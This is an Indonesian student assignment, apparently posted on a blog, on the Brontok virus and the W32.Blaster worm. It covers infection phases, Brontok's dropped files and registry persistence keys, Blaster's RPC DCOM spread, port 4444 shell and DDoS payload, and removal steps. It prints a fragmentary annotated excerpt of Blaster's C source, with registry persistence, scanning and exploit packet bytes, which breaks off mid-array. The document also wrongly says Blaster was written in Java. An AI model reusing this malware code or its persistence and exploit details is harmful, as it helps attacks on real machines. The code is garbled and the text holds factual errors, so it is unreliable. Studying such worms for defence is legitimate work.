I. SEJARAH VIRUS
Perkembangan virus, sudah terjadi sekitar tahun 1983. Menurut catatan, pada tahun tersebut telah ada virus yang bernama Elk Cloner yang menyerang Apple dengan metode penyebaran melalui Floppy Disk. Tidak diketahui siapa pembuat virus ini.
Semenjak itu, perkembangan virus terus terjadi seperti epidemic. Muncul sebuah virus yang dibuat di pakiskan yang berhasil menyerang MS DOS kemudian virus Lehigh yang juga menyerang MS DOS dengan menginfeksi file ‘Command.com’ ytang merupakan file wajib untuk sistem operasi MS DOS.
Untuk menghindari deteksi, virus mulai berevolusi seperti layaknya sebuah virus yang mampu mngubah dirinya sendiri. Jika sebelumnya virus selalu menyerang file-file executable seperti .COM, .EXE, dan SYS, kali ini virus mulai melakukan penyerangan terhadap file data yang sebelumnya tidak pernah menjadi sasaran.
Virus telah menjadi epidemic yang sampai saat inipun terus bermutasi dengan kemampuan-kemampuan dan daya rusak yang besar. Berbagai virus membuat berita-berita baru setiap harinya seperti layaknya seorang binatang besar yang ridak pernah pudar popularitasnya.
II. CARA KERJA VIRUS/PENYEBARAN VIRUSES
Memicu peristiwa dan serangan langsung adalah modus umum yang menyebabkan virus untuk beraksi di sistem target.
Virus beroperasi dalam dua fase:
1. Fase Infeksi
· Pengembang virus memutuskan kapan waktu virus tersebut untuk menulari program-program sistem host.
· Beberapa menginfeksi setiap kali virus dijalankan dan dilaksanakan sepenuhnya.
ex: virus langsung.
· Beberapa kode virus yang menginfeksi hanya bila pengguna memicu virus yang meliputi hari, waktu, atau peristiwa tertentu.
ex: TSR virus yang dimuat ke memori dan menginfeksi pada tahap selanjutnya.
2. Fase Attack (Serangan/Penyerbuan)
· Beberapa virus telah memicu peristiwa untuk mengaktifkan dan merusak sistem.
· Beberapa virus memiliki sifat meniru dan melakukan kegiatan seperti penghapusan file dan meningkatkan waktu sesi.
· Virus merusak target hanya setelah menyebar sepenuhnya sebagaimana kehendak oleh pengembang virus.
Dibawah ini merupakan gambar atau alur virus beroperasi:
1. Fase Infeksi
2. Fase Attack (Serangan/Penyerbuan)
III. WORM
Virus dan worm, ibaratnya satu keluarga dan sulit membedakan keduanya sehingga istilah virus dan worm sering menjadi rancu. Terdapat perbedaan antara virus dan worm :
· Worm adalah tipe khusus dari virus yang dapat mereplikasi dirinya sendiri dan menggunakan memori, tetapi tidak dapat melampirkan diri sendiri ke program lain.
· Worm menyebar melalui jaringan yang terinfeksi secara otomatis tetapi virus tidak.
Dibawah ini beberapa contoh dari Viruses dan Worm :
A. VIRUS BRONTOK
· Pengenalan Virus Brontok
- Virus ini menyamar sebagai sub folder master contoh : Folder Lucu maka virus ini akan menyamar sebagai sub folder Lucu
- Bedakan folder dengan virus, Jika itu bener folder maka folder tersebut tidak memiliki size, jika itu virus maka folder tersebut memiliki size, terus ada extention misal : Lucu.exe dan mempunyai size yang sama 42 KB pada setiap folder (virus). Jangan sekali2x meng-compile (Doble klik folder tersebut), jika itu di lakukan maka akan masuk ke register dan membuat sistem kerja windows mengalami gangguan.
- Ciri komputer yang sudah terkena virus:
§ Di windows explorer menu Tools -> Folder Options tidak muncul.
§ Jika menjalankan file/perintah tertentu seperti “cmd” maka komputer akan Restart sendiri.
§ Tidak bisa masuk ke regedit atau msconfig
· Komputer restart terus menerus
Selain melakukan beberapa perubahan pada registri yang mengakibatkan pemblokiran pada akses Registry Editor sehingga anda tidak bisa membuka regedit.exe, Rontokbro juga menyebabkan komputer restart terus menerus. Biang keladinya bukan eksploitasi celah keamanan seperti Sasser, melainkan karena Rontokbro melakukan restart pada komputer setiap kali menemukan aplikasi dengan nama :
File yang diserang berontok | |||
.. ADMIN DATA NETSCAPE SPAM WWW | AHNLAB ALADDIN EXAMPLE OVERTURE SYMANTEC TEST WINDOWS SECURITY.VBS | AVAST HACK REGISTRY SEARCH R SECURE UPDATE | CILLIN CONTOH LOTUS SENIOR SIEMENS XEROX |
Dengan cara membanjiri dengan ping. Namun dampak dari aktivitas ini hanya akan terasa kalau komputer yang terinfeksi mencapai jumlah yang sangat banyak (e.g. 10.0000 komputer) yang pada kasus tertentu dapat mengakibatkan website yang diserang menjadi lumpuh /down.
Perkembangan virus lokal sebenarnya sudah dikenali sejak lama sejak jamannya virus Pesin, dari sinilah mulai bermunculan virus-virus lokal yang baru sebut saja Lavist, kangen, riyanni_jangkaru aau Tabaru, kumis, fawn yosa dan terakhir Rontokbro, itulah sebagian nama-nama virus lokal yang pernah menjadi “momok” dalam beberapa bulan yang lalu, walaupun sebagian besar antivirus sudah dapat mengenali virus tersebut tetapi karena penyebarannya terbatas dilingkungan tertentu maka jika ada varian dari virus tersebut akan sangatlah sulit untuk dideteksi olah karena itu sebaiknya gunakan antivirus yang mempunyai dukungan support lokal. Dari sekian banyak virus lokal yang ada hanya 3 virus yang berhasil membumi yaitu Rontokbro, kangen dan fawn. Tetapi dari 3 jenis virus tersebut hanya Rontokbro yang mampu memberikan kerugian yang cukup besar dibandingkan dengan yang virus lokal yang lain.
· Kelemahan Safemode berhasil diketahui Rontokbro.
Rontokbro adalah jenis virus lokal pertama yang dapat menyebar melalui email berbeda dengan virus lokal lain yang hanya dapat menyebar melalui dikset/USB, Komputer yang terinfeksi Rontokbro akan melakukan restart hal ini sama seperti yang dilakukan oleh virus Kumis dan virus Sasser/Blaster, bedanya komputer yang terinfeksi Rontokbro akan restart jika menjalankan suatu program aplikasi tertentu seperti regedit, msconfig atau task manager, up-date pacth yang anda lakukan tidak akan membawa dampak apa-apa karena virus ini tidak mengeksploitasi celah keamanan seperti yang dilakukan oleh Sasser/Blaster proses restartnya pun tidak memunculkan hitungan mundur seperti yang dilakukan oleh virus Sasser/Blaster, satu hal yang menjadi kelebihan dari virus ini dimana walaupun komputer dalam posisi “safe mode” komputer akan tetap restart jika menjalankan program aplikasi seperti regedit, msconfig bahkan ketika menjalankan tools seperti pocket Killbox atau HijackThis, dimana kita tahu jika komputer dijalankan dalam mode “safe mode” virus yang menginfeksi komputer tersebut tidak aktif, tetapi tidak halnya dengan Rontokbro suatu kemajuan yang luar biasa rupanya team pembuat Rontokbro sudah mengetahui titik kelemahan yang ada pada mode “safe mode”. File yang terinfeksi Rontokbro.N mempunyai ukuran sebesar 42kb dengan icon folder tetapi dengan extension EXE, jika dijalankan akan membuat beberapa file yaitu:
C:\Windows dengan nama file eksplorasi.exe (hidden)
C:\Windows\shellnew dengan nama sempalong.exe (hidden)
C:\WINDOWS\system32 dengan nama %username”s Setting.scr (hidden) C:\Documents and Settings\%user%\Local Settings\Application Data dengan nama file :
· Bron.tok-x-y, dimana x dan y menunjukkan angka- Loc.Mail.Bron.Tok, berisi alamat email yang diperoleh dari komputer yang terinfeksi.
· Ok-SendMail-Bron-tok, berisi email yang berhasil dikirim
· csrss.exe- inetinfo.exe
· Kosong.Bron.Tok.txt
· lsass.exe
· NetMailTmp.bin
services.exe
· smss.exe
· Update.3.Bron.Tok.bin
· winlogon.exe
C:\Documents and Settings\bagle\Start Menu\Programs\Startup nama file
· Empty C:\Documents and settings\%Users%\Templates
· Brengkolang.com Membuat file pada setiap folder dimana file ini mempunyai nama yang sama dengan folder tersebut dengan ciri-ciri :
· Icon yang digunakan berupa Folder- Ukuran file 42 Kb
· Ekstension .EXE Rontokbro juga akan melakukan perubahan pada file C:\AUTOEXEC.BAT dengan menambahkan baris perintah “ PAUSE” Agar Rontokbro dapat aktif begitu komputer dinyalakan, ia akan membuat registry beberapa registry key yaitu:
· Bron-Spizaetus
HKLM\SOFTWARE\Microsoft\Windows\Curr entVersion\Run
· Tok-Cirrhatus
HKCU\Software\Microsoft\Windows\CurrentVersion\RunShell dengan value Explorer.exe “C:\Windows\Eksplorasi.exe”
HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon,
Disable Registry editor Seperti kebanyakan virus yang ada, virus ini juga akan menonaktifkan program yang dimungkinkan dapat mempersingkat keberadaan “mereka” diantaranya fungsi registry editor dengan menambahkan sebuah registry key: DisableRegistryTools =1
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System
Jika fungsi registry editor dijalankan maka akan muncul pesan error:
”Registry editing has been disabled by your administrator”
DisableCMD pada registry:
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System
Selain menambahkan string pada registry key, virus in juga akan menambahkan option di menu [startup] pada msconfig.
- Sempalong
- Smss
- Empty
· Cara Penyebaran Virus Brontok
Rontonbro juga akan membuat task schedule pada windows dimana schedule ini akan dijalankan setiap jam 5.08 PM, dengan menjalankan file yang berada didirektori:
C:\Documents and Settings\%Users%\Templates
Restart Komputer OtomatisSalah satu kelebihan yang dimiliki oleh Rontokbro adalah dapat menyebabkan komputer restart, jangan harap up-date patch dapat menyelesaikan masalah ini, hal ini disebabkan karena Rontokbro tidak mengeksploitasi celah keamanan seperti yang biasa digunakan oleh virus Sasser atau Blaster.
Rontokbro akan merestart komputer jika anda berusaha menjalankan suatu program tertentu seperti regedit, msconfig bahkan jika anda menjalankan software pengganti Task manager seperti pocket Killbox bahkan HijackThis dan salah satu kelebihan lain yang dimiliki adalah kemampuannya untuk merestart komputer walaupun dalam mode “safe mode” walapun, oleh karena itu dibutuhkan trik untuk menangani masalah tersebut. kemungkinan besar pembuat Rontokbro selalu mengikuti saran dan perkembangan terakhir sehingga ia akan makin sulit dibasmi karena selalu mengupdate dirinya. Rontokbro akan mengambil alamat email pada semua file yang mengandung ext : .asp, .cfm, .csv,. .doc, .html, .php, .txt
Selain menyebar melaui email, Rontokbro juga akan menyebar melalui Disket/USB dengan membuat file pada folder/subfolder yang ada didisket/USB atau pada root USB itu sendiri, file yang diciptakan tersebut mempunyai ciri-ciri:
- Icon menyerupai Folder
- Ukuran 42 Kb
- Ext. EXE
Rontokbro juga akan mencoba untuk melakukan koneksi dengan mengirimkan ping request ke salah satu situs dewasa seperti kaskus.com dan 17tahun.com, hal ini lah salah satu faktor yang dapat dapat memperlambat system komputer tetapi karena penyebaran koneksi internet di Indonesia relatif masih lambat, dampak dari hal ini akan kurang terasa pada user dialup rumahan karena tidak selalu terkoneksi dan dampak terbesar akses ke dua situs tersebut akan besar pengaruhnya jika komputer yang terkena Ronrokbro adalah komputer rumahan yang memiliki koneksi ADSL dan selalu terkoneksi ke internet, komputer Warnet atau kantor yang selalu terkoneksi ke internet.
· Source Code
Dengan nama Project: Brontok.vbp, yang disimpan pada directory:
F:\\VPROJECT\\REHAB\\Re-1\\BRONTOK.A
Jelas sekali bahwa virus ini dibuat oleh sorang program lokal, yang mempunyai skill Menengah Keatas.
Ada beberapa procedure & function yang digunakan dengan nama:
Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
TmrBrontok_Timer()
Subr_004()
CekKoneksiInternet()
ManipulasiExec()
Subr_007()
KeluarDong()
BronReg()
CopyAppData()
DownloadVir()
StartDong()
StartUp()
DecTeks()
MutMutex()
MutCr()
DownloadFile()
CekUpdate()
InfekNetwork()
Judul()
CekRemDisk()
BikinFile()
GetEmailFile()
CekValidMail()
GetTeks()
CekKar()
ListMail()
GetTargetMBhs()
GavMailer()
BrontokMail()
Subr_031()
DataEmail()
DownMIME()
FindFilesAPI()
ListFileGav()
InfekFile()
SmallAttack()
MinggirLoe()
GetHostByNameAlias()
StripNulls()
BikinKredit()
Dan beberapa fungsi Api yang digunakan anatara lain:
Fungsi Baca Tulis Ke Register:
Declare Function RegOpenKeyExA Lib \"advapi32.dll\" ()
Declare Function RegSetValueExA Lib \"advapi32.dll\" ()
Declare Function RegCloseKey Lib \"advapi32.dll\" ()
Declare Function RegCreateKeyExA Lib \"advapi32.dll\" ()
Declare Function Sleep Lib \"kernel32\" ()
Mendapatkan Spesial Folder:
Declare Function SHGetPathFromIDList Lib \"shell32.dll\" ()
Declare Function SHGetSpecialFolderLocation Lib \"shell32.dll\" ()
Membaca Isi Halaman Situs:
Declare Function InternetOpenA Lib \"wininet.dll\" ()
Declare Function InternetOpenUrlA Lib \"wininet.dll\" ()
Declare Function InternetReadFile Lib \"wininet.dll\" ()
Declare Function InternetCloseHandle Lib \"wininet.dll\" ()
Mendapatkan Caption Dari Sebuah Window:
Declare Function GetWindowTextA Lib \"user32\" ()
Declare Function GetWindowTextLengthA Lib \"user32\" ()
Dapatkan HWND Window aktif:
Declare Function GetForegroundWindow Lib \"user32\" ()
Shutdown, Reboot, LogOff Windows:
Declare Function ExitWindowsEx Lib \"user32\" ()
Declare Function GetCurrentProcess Lib \"kernel32\" ()
Declare Function OpenProcessToken Lib \"advapi32\" ()
Declare Function LookupPrivilegeValueA Lib \"advapi32\" ()
Declare Function AdjustTokenPrivileges Lib \"advapi32\" ()
Mendapatkan Jenis Media yang ada spt Removable Disk, CD-Rom dll:
Declare Function GetDriveTypeA Lib \"kernel32\" ()
Declare Function ShellExecuteA Lib \"shell32.dll\" ()
Declare Function RtlMoveMemory Lib \"kernel32\" ()
Winsock API:
Declare Function closesocket Lib \"wsock32.dll\" ()
Declare Function connect Lib \"wsock32.dll\" ()
Declare Function htons Lib \"wsock32.dll\" ()
Declare Function inet_addr Lib \"wsock32.dll\" ()
Declare Function recv Lib \"wsock32.dll\" ()
Declare Function send Lib \"wsock32.dll\" ()
Declare Function socket Lib \"wsock32.dll\" ()
Declare Function gethostbyname Lib \"wsock32.dll\" ()
Declare Function WSAStartup Lib \"wsock32.dll\" ()
Declare Function WSACleanup Lib \"wsock32.dll\" ()
Declare Function WSAAsyncSelect Lib \"wsock32.dll\" ()
Fungsi yang berhubungan dengan file:
Declare Function FindFirstFileA Lib \"kernel32\" ()
Declare Function FindNextFileA Lib \"kernel32\" ()
Declare Function GetFileAttributesA Lib \"kernel32\" ()
Declare Function FindClose Lib \"kernel32\" ()
Terlihat jelas pada fungsi-fungsi api yang digunakan bahwa penularan virus ini brontok menggunakan beberapa cara. seperti pengiriman lewat email, pencarian nama komputer yang terhubung kejaringan dengan menyalin dirinya pada folder yang di sharing dan menyalin dirinya pada window explorer yang aktif. kalo gak salah si pembuat virus mempunyai SMTP sendiri. Virus ini mempunyai fungsi ExitWindowsEx yang diimport dari file user32.dll, fungsi ini biasanya digunakan untuk mematikan windows. Selain itu dalam struktur filenya terdapat kata-kata seperti ini:
FOLDER.HTT
RORO
.HTT
.DOC
.CSV
.EML
.CFM
.PHP
.WAB
.EML
.TXT
.HTML
.HTM
B. VIRUS W32.BLASTER
Worm yang memanfaatkan celah keamanan RPC Dcom. Virus ini dibuat menggunakan bahasa pemrograman Java.
Akhirnya sebuah virus yang menggunakan celah keamananan Microsoft
Windows yang sangat dicemaskan muncul. Ini seperti apa yang kami duga
bahwa tidak akan lama lagi ada sebuah virus yang menyerang melalui
kelemahan-kelemahan yang terdapat pada segi keamanan Microsoft Windows.
Virus Worm yang dikenal dengan nama W32/Blaster.A menggunakan celah
keamanan pada RPC DCOM BUFFER OVERFLOW.
Worm ini pada hari pertama pemunculannya langsung menempati peringkat
pertama sebagai worm yang paling banyak terdeteksi menyebar di internet
dimana kegiatan yang dilakukan worm ini yang terdeteksi oleh
wormwatch.com adalah menscan port 135 :
Kalau kita hitung mundur ke beberapa hari pada akhir bulan Juli 2003 ada laporan bahwa ada celah keamaan pada para pemakai Microsoft Windows NT
4.0 & Terminal Services Edition, Microsoft Windows 2000, Microsoft
Windows XP, dan Microsoft Windows Server 2003. Para penyusup dapat
memasuki komputer anda yang terhubung dalam sebuah jaringan internet.
Kita mengenalnya sebagai celah keamanan pada Windows Distributed
Component Object Model (DCOM) Remote Procedure Call (RPC) interface.
Celah keamanan ini sangat berbahaya dan mengancam pengguna versi Windows
tersebut di atas karena dapat para penyusup untuk melakukan :
Instalasi Program, melihat, merubah dan menghapus data dan membuat user baru dengan hak akses full pada komputer yang belum di patch.
· Metode Distribusi
Pertama-tama virus ini akan memindai seluruh subnet untuk membuka port 135, kemudian ia akan memindai secara random dan yang dipilih pertama
kali adalah class B subnets (255.255.0.0). Jika sebuah port 135 terbuka
ditemukan, seorang penysup akan menggunakan celah keamanan yang ada
untuk melakukan segala sesuatu pada komputer yang terinfeksi seperti
komputer miliknya pribadi. Jika semuanya diasumsikan sukses dapat
dijalankan dan ia mencoba untuk mengubungkan (connect) port 4444 dari
komputer yang terinfeksi. Ini dilakukan setelah virus ini membuat file
Cmd.exe sebagai remote shell yang disembunyikan sehingga dapat memantau
pada TCP port 4444.
Setelah tersambung, worm ini akan memerintahkan komputer kita untuk
mendownload sebuah file yang bernama MSBLAST.EXE dengan ukuran 6,176
byte, dikemas dengan menggunakan UPX, jika diuncompres besarnya 11.296
byte. Hasil download tersebut diletakkan pada direktori Windows
System32. Proses download ini menggunakan FTP service dengan menjalankan
sebuah file TFTP.EXE. Kemudian mengirimkan sebuah perintah untuk
menjalankan file MSBLAST.EXE tersebut pada komputer yang terinfeksi.
Sebagai catatan file TFTP.EXE adalah sebuah utility yang terdapat pada
Windows 2000/XP terletak pada C:\WINNT\System32\TFTP.EXE. Worm ini mampu
mencari terus menerus (jika terkoneksi ke Internet) secara bersamaan ke
lebih kurang 20 komputer yang belum dipatch. Kalau calon korbannya tidak
diketahui system operasi apa yang dipakai, virus ini akan mengira-ngira.
Ada kurang lebih 80% kesempatan akan dicoba untuk menyerang Windows XP,
dan selebihnya 20% untuk Windows 2000. Jika perkiraan dari virus ini
tidak benar dan komputer tersebut ada celah keamanan yang dapat
ditembus, maka proses dari file svchost.exe pada target sebuah komputer
akan crash.
System komputer anda akan menjadi tidak stabil, tetapi penginfeksian
terhadap komputer anda akan gagal. Ketika svchost.exe cash, sebuah pesan
seperti di bawah ini akan ditampilkan pada system operasi Windows XP:
pada system operasi Windows 2000:
Untuk system operasi Windows XP secara otomastis akan reboot pada point ini.
Jika virus ini dalam memperkirakan sebuah system operasi berhasil
mendapatkannya dan komputer tersebut memang dapat ditembus, maka ia akan
langsung menginfeksi komputer tersebut. Jika worm disconnects dari
komputer yang terinfeksi, proses koneksi scvhost.exe akan exit. Pada
system Windows XP, ini dimungkinkan karena komputer akan reboot,
kemudian sebuah pesan akan ditampakan:
Cara kerja dari worm ini cukup unik. Setelah dijalankan virus ini akan membuat sebuah value dalam file registry sehingga akan selalu dijalankan jika komputer booting.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
windows auto update="msblast.exe"
Kemudian ia akan menscan dengan menggunakan metode algorithm dalam
pencarian sebuah alamat IP. Ini dilakukan secara random untuk
nilai-nilai angka yang akan didapatkan. Yang kita ketahui struktur dari
sebuah IP address adalah A.B.C.D dimana nilai-nilai yang digunakan
adalah :
A dari 1 sampai 254
B dari 0 sampai 253
C dari 0 sampai 253
D selalu 0
· Payload :
Mulai dari tanggal 16 Agustus 2003 komputer yang terinfeksi dengan
Lovsan akan mengirimkan secara besar-besaran sebuah paket ke
windowsupdate.com. ukuran paket tesebut hanya sebesar 40 byte yang
dikirimkan dengan interval 20 millisecond ke prot 80. Ini maksudnya akan
menyebabkan sebuah Distributed Denial-of-Service menyerang website
tersebut dengan cepatnya. Dan terakhir web site tersebut akan hang.
Worm ini mengandung sebuah teks (yang tidak ditampilkan):
I just want to say LOVE YOU SAN!!
billy gates why do you make this possible ? Stop making money and fix your software!!
· Bagaimana cara membasminya :
1. Install Service pack yang terbaru jika anda belum pernah
menginstallnya pada masing-masing komputer sesuai dengan system operasinya.
2. Install / memperbaharui DCOM sesuai dengan system operasi komputer anda, 3.Scan komputer anda dengan menggunakan definisi yang terakhir dari antivirus yang anda gunakan.
3. Hapus value yang telah dibuat oleh virus tersebut :
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run windows auto update="msblast.exe"
4. Anda harus memblok access ke TCP port 4444 pada firewall, dan memblok port di bawah ini: TCP Port 135, "DCOM RPC" UDP Port 69, "TFTP".
· Source Code:
#include
#include
#include
#include
#pragma comment (lib, "ws2_32.lib")
#pragma comment (lib, "wininet.lib")
#pragma comment (lib, "advapi32.lib")
/*
* These strings aren't used in the worm, Buford put them here
* so that whitehat researchers would discover them.
*/
const char msg1[]="I just want to say LOVE YOU SAN!!";
const char msg2[]="billy gates why do you make this possible ?"
" Stop making money and fix your software!!";
/*
* Buford probably put the worm name as a "define" at the top
* of his program so that he could change the name at any time.
* 2003-09-29: This is the string that Parson changed.
*/
#define MSBLAST_EXE "msblast.exe"
/*
* MS-RPC/DCOM runs over port 135.
* DEFENSE: firewalling port 135 will prevent systems from
* being exploited and will hinder the spread of this worm.
*/
#define TFTP_PORT_69 69
/*
* The shell-prompt is established over port 4444. The
* exploit code (in the variable 'sc') commands the victim
* to "bind a shell" on this port. The exploit then connects
* to that port to send commands, such as TFTPing the
* msblast.exe file down and launching it.
* DEFENSE: firewalling 4444/tcp will prevent the worm from
* spreading.
*/
#define SHELL_PORT_4444 4444
/*
* A simple string to hold the current IP address
*/
char target_ip_string[16];
/*
* A global variable to hold the socket for the TFTP service.
*/
int fd_tftp_service;
/*
* Global flag to indicate this thread is running. This
* is set when the thread starts, then is cleared when
* the thread is about to end.
* This demonstrates that Buford isn't confident with
* multi-threaded programming -- he should just check
* the thread handle.
*/
int is_tftp_running;
/*
* When delivering the worm file to the victim, it gets the
* name by querying itself using GetModuleFilename(). This
* makes it easier to change the filename or to launch the
* worm. */
char msblast_filename[256+4];
int ClassD, ClassC, ClassB, ClassA;
int local_class_a, local_class_b;
int winxp1_or_win2k2;
ULONG WINAPI blaster_DoS_thread(LPVOID);
void blaster_spreader();
void blaster_exploit_target(int fd, const char *victim_ip);
void blaster_send_syn_packet(int target_ip, int fd);
{
WSADATA WSAData;
char myhostname[512];
char daystring[3];
char monthstring[3];
HKEY hKey;
int ThreadId;
register unsigned long scan_local=0;
/*
* Create a registry key that will cause this worm
* to run every time the system restarts.
* DEFENSE: Slammer was "memory-resident" and could
* be cleaned by simply rebooting the machine.
* Cleaning this worm requires this registry entry
* to be deleted.
*/
RegCreateKeyEx(
/*hKey*/ HKEY_LOCAL_MACHINE,
/*lpSubKey*/ "SOFTWARE\\Microsoft\\Windows\\"
"CurrentVersion\\Run",
/*Reserved*/ 0,
/*lpClass*/ NULL,
/*dwOptions*/ REG_OPTION_NON_VOLATILE,
/*samDesired */ KEY_ALL_ACCESS,
/*lpSecurityAttributes*/ NULL,
/*phkResult */ &hKey,
/*lpdwDisposition */ 0);
RegSetValueExA(
hKey,
"windows auto update",
0,
REG_SZ,
MSBLAST_EXE,
50);
RegCloseKey(hKey);
/* Wait 1.8-seconds for a connection.
* BUG: this is often not enough, especially when a packet
* is lost due to congestion. A small timeout actually makes
* the worm slower than faster */
Sleep(1800);
/* Now test to see which of those 20 connections succeeded.
* BUFORD: a more experienced programmer would have done
* a single 'select()' across all sockets rather than
* repeated calls for each socket. */
for (i=0; i<20; i++) {
struct timeval timeout;
int nfds;
timeout.tv_sec = 0;
timeout.tv_usec = 0;
nfds = 0;
FD_ZERO(&writefds);
FD_SET((unsigned)sockarray[i], &writefds);
if (select(0, NULL, &writefds, NULL, &timeout) != 1) {
closesocket(sockarray[i]);
} else {
sizeof_peer = sizeof(peer);
getpeername(sockarray[i],
(struct sockaddr*)&peer, &sizeof_peer);
victim_ip = inet_ntoa(peer.sin_addr);
/* If connection succeeds, exploit the victim */
blaster_exploit_target(sockarray[i], victim_ip);
closesocket(sockarray[i]);
}
}
}
/*
* This is where the victim is actually exploited. It is the same
* exploit as created by xfocus and altered by HDMoore.
* There are a couple of differences. The first is that the in
* those older exploits, this function itself would create the
* socket and connect, whereas in Blaster, the socket is already
* connected to the victim via the scanning function above. The
* second difference is that the packets/shellcode blocks are
* declared as stack variables rather than as static globals.
* Finally, whereas the older exploits give the hacker a
* "shell prompt", this one automates usage of the shell-prompt
* to tell the victim to TFTP the worm down and run it.
*/
void blaster_exploit_target(int sock, const char *victim_ip)
{
/* These blocks of data are just the same ones copied from the
* xfocus exploit prototype. Whereas the original exploit
* declared these as "static" variables, Blaster declares
* these as "stack" variables. This is because the xfocus
* exploit altered them -- they must be reset back to their
* original values every time. */
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
TUGAS
KEAMANAN KOMPUTER
VIRUS BRONTOK (VIRUSES)& W32.BLASTER (WORM)
4KA08
NAMA KELOMPOK :
1. BADAI SAMOEDRA (10108376)
2. QORY CAHYA PUSPITA (11108539)
3. GILANG PUTRA WIRAWAN (10108872)
UNVERSITAS GUNADARMA
1 komentar:
Mantap gan, lanjutkan, bagaimana kuliahnya?
Posting Komentar